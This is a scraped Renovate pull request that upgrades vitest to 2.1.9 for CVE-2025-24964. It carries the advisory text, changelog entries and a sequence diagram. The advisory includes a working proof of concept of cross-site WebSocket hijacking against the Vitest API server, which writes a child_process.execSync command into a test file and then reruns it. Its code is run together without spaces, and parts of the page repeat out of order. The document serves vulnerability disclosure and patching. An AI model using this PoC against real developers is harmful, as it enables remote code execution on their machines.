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Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Access a malicious web site with the script below.
If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flattedconstFlatted=function(n){"use strict";functiont(n){returnt="function"==typeofSymbol&&"symbol"==typeofSymbol.iterator?function(n){returntypeofn}:function(n){returnn&&"function"==typeofSymbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeofn},t(n)}varr=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){returnt},l=function(n){returnninstanceofu?u(n):n},s=function(n,r){returnt(r)===f?newu(r):r},y=functionn(r,e,f,a){for(varl=[],s=o(f),y=s.length,p=0;p<y;p++){varv=s[p],S=f[v];if(Sinstanceofu){varb=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}elsef[v]!==i&&(f[v]=a.call(f,v,S))}for(varm=l.length,g=0;g<m;g++){varh=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}returnf},p=function(n,t,r){vare=u(t.push(r)-1);returnn.set(r,e),e},v=function(n,e){varo=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,newSet,u,f):u;returnf.call({"":i},"",i)},S=function(n,r,o){for(varu=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void0}:r||a,i=newMap,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";functionS(n,r){if(v)returnv=!v,r;vare=u.call(this,n,r);switch(t(e)){casec:if(null===e)returne;casef:returni.get(e)||p(i,l,e)}returne}};returnn.fromJSON=function(n){returnv(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){returnr(S(n))},n}({});// actual code to runconstws=newWebSocket('ws://localhost:51204/__vitest_api__')ws.addEventListener('message',e=>{console.log(e.data)})ws.addEventListener('open',()=>{ws.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "getFiles",a: []}))consttestFilePath="/path/to/test-file/basic.test.ts"// use a test file returned from the response of "getFiles"// edit file content to inject command executionws.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "saveTestFile",a: [testFilePath,"import child_process from 'child_process';child_process.execSync('calc')"]}))// rerun the tests to run the injected command execution codews.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "rerun",a: [testFilePath]}))})
Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
This introduced some breaking changes (#6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.
This release makes another big change to the Browser Mode by introducing locators API:
test('renders blog posts',async()=>{constscreen=page.render(<Blog/>)awaitexpect.element(screen.getByRole('heading',{name: 'Blog'})).toBeInTheDocument()const[firstPost]=screen.getByRole('listitem').all()awaitfirstPost.getByRole('button',{name: 'Delete'}).click()expect(screen.getByRole('listitem').all()).toHaveLength(3)})
This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.
This PR includes no changesets
When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types
This PR updates the vitest dependency from version 2.0.5 to 2.1.9. This resolves a security vulnerability (CVE-2025-24964) that allows for arbitrary remote code execution when accessing a malicious website while the Vitest API server is listening. The update involves changes in the pnpm-lock.yaml file to reflect the new version and its dependencies.
Sequence diagram showing the security vulnerability in Vitest 2.0.5
sequenceDiagram
actor Attacker
participant MW as Malicious Website
participant WS as WebSocket Server
participant VT as Vitest
participant FS as File System
Note over WS,VT: Vitest API server listening (api option enabled)
Attacker->>MW: Access malicious website
MW->>WS: Connect to WebSocket without Origin check
MW->>WS: Call saveTestFile API
WS->>FS: Inject malicious code into test file
MW->>WS: Call rerun API
WS->>VT: Execute test file
VT->>FS: Execute injected malicious code
Updated dependencies related to esbuild, rollup, and other internal packages.
pnpm-lock.yaml
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renovateBot
changed the title
chore(deps): update dependency vitest to v2.1.9 [security]
chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed
Mar 27, 2026
renovateBot
changed the title
chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed
chore(deps): update dependency vitest to v2.1.9 [security]
Mar 30, 2026
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This PR contains the following updates:
2.0.5→2.1.9Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
CVE-2025-24964 / GHSA-9crc-q9x8-hgqq
More information
Details
Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
Details
When
apioption is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has
saveTestFileAPI that can edit a test file andrerunAPI that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by thesaveTestFileAPI and then running that file by calling thererunAPI.https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
PoC
calcexecutable inPATHenv var (you'll likely have it if you are running on Windows), that application will be executed.Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
vitest-dev/vitest (vitest)
v2.1.9Compare Source
This release includes security patches for:
🐞 Bug Fixes
/__screenshot-error- by @hi-ogawa in #7343View changes on GitHub
v2.1.8Compare Source
🐞 Bug Fixes
View changes on GitHub
v2.1.7Compare Source
🐞 Bug Fixes
pnpm.overridesor yarn resolutions to override theviteversion in thevitestpackage - the APIs are compatible.View changes on GitHub
v2.1.6Compare Source
🚀 Features
View changes on GitHub
v2.1.5Compare Source
🐞 Bug Fixes
dangerouslyIgnoreUnhandledErrorswithout base reporter - by @AriPerkkio in #6808 (0bf0a)unhandledRejectioneven when base reporter is not used - by @AriPerkkio in #6812 (8878b)sequence.concurrentfrom theRuntimeConfigtype - by @sheremet-va in #6880 (6af73).poll,.element,.rejects/.resolves, andlocator.*weren't awaited - by @sheremet-va in #6877 (93b67)enteror'a'- by @AriPerkkio in #6848 (487c8)🏎 Performance
View changes on GitHub
v2.1.4Compare Source
🚀 Features
This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your
package.json. See npm's documentation about semver for more information.transformIndexHtml- by @sheremet-va in #6725 (16902)🐞 Bug Fixes
v=queries to setup files imports - by @sheremet-va in #6759 (b8258)toThrowErrorwith empty string parameter - by @shulaoda in #6710 (a6129)test.extendtype exports - by @hi-ogawa in #6707 (e5c38)🏎 Performance
hashto replacecreateHash- by @btea in #6703 (5d07b)View changes on GitHub
v2.1.3Compare Source
🐞 Bug Fixes
toBeNaN, toBeUndefined, toBeNull, toBeTruthy, toBeFalsy- by @hi-ogawa in #6697 (e0027)/mockServiceWorker.jsinstead of/__vitest_msw__- by @sheremet-va in #6687 (4b2ce)toMatchObjectdiff - by @hi-ogawa in #6620 (d289e)<empty line>logs when interleavingconsole.log/error- by @hi-ogawa in #6644 (9ece3)fast-globinstead oftinyglobbyin Vitest - by @sheremet-va in #6688 (70baa)🏎 Performance
View changes on GitHub
v2.1.2Compare Source
🐞 Bug Fixes
Vitest.setServerto postconfigureServerhook to enable import analysis for workspace config loading - by @hi-ogawa in #6584 (e7f35)BenchmarkResult.samplesarray to reduce memory usage - by @hi-ogawa and @AriPerkkio in #6541 (a6407)data:protocol on preview provider file upload - by @userquin in #6501 (e9821)*.astroby default - by @AriPerkkio in #6565 (f8ff7)cleanOnRerun: falseto invalidate previous results - by @AriPerkkio in #6592 (88bde)toBeDefinedwithexpect.poll- by @hi-ogawa in #6562 (f7da6)--cpu-profand--heap-profnot working by default - by @AriPerkkio in #6555 (2e4d894)beforeAllfailed - by @hi-ogawa in #6524 (fb797)onTestFinishedandonTestFailedduringretryandrepeats- by @hi-ogawa in #6609 (c5e29)--standalone- by @hi-ogawa in #6577 (d0bf8)View changes on GitHub
v2.1.1Compare Source
🐞 Bug Fixes
View changes on GitHub
v2.1.0Compare Source
This release makes another big change to the Browser Mode by introducing locators API:
You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the
pageobject from@vitest/browser/context.Potential Breaking Change
vitest.config.tsorvite.config.tsinside the folder)projects/*will match anything inside theprojectsfolder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config.projects/**/*previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.🚀 Features
userEvent.uploadin playwright provider - by @sheremet-va in #6442 (cf148)--inspect- by @AriPerkkio in #6433 (0499a)--inspect-brk- by @AriPerkkio in #6434 (7ab0f)--exclude-after-remap- by @AriPerkkio in #6309 (5932a){ spy: true }instead of a factory - by @sheremet-va in #6289 (95f02)vi.advanceTimersToNextFrame- by @bnjm and @sheremet-va in #6347 (8ff63)fast-globtotinyglobby- by @SuperchupuDev in #6274 (c321a)🐞 Bug Fixes
indexfile - by @sheremet-va in #6266 (081cf)expect.getState().testPathalways returns correct path - by @sheremet-va in #6472 (ac698)vitestand@vitest/*versions don't match - by @AriPerkkio in #6317 (e662c)vitenodefor uncovered files - by @AriPerkkio in #6044 (da52d)performance.nowinstead ofDate.nowfor duration - by @LuciNyan in #6382 (fe489)toMatchInlineSnapshotupdates at the same location - by @hi-ogawa in #6332 (1606f)typecheck.includeoverlaps withinclude- by @sheremet-va in #6256 (153ff)View changes on GitHub
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
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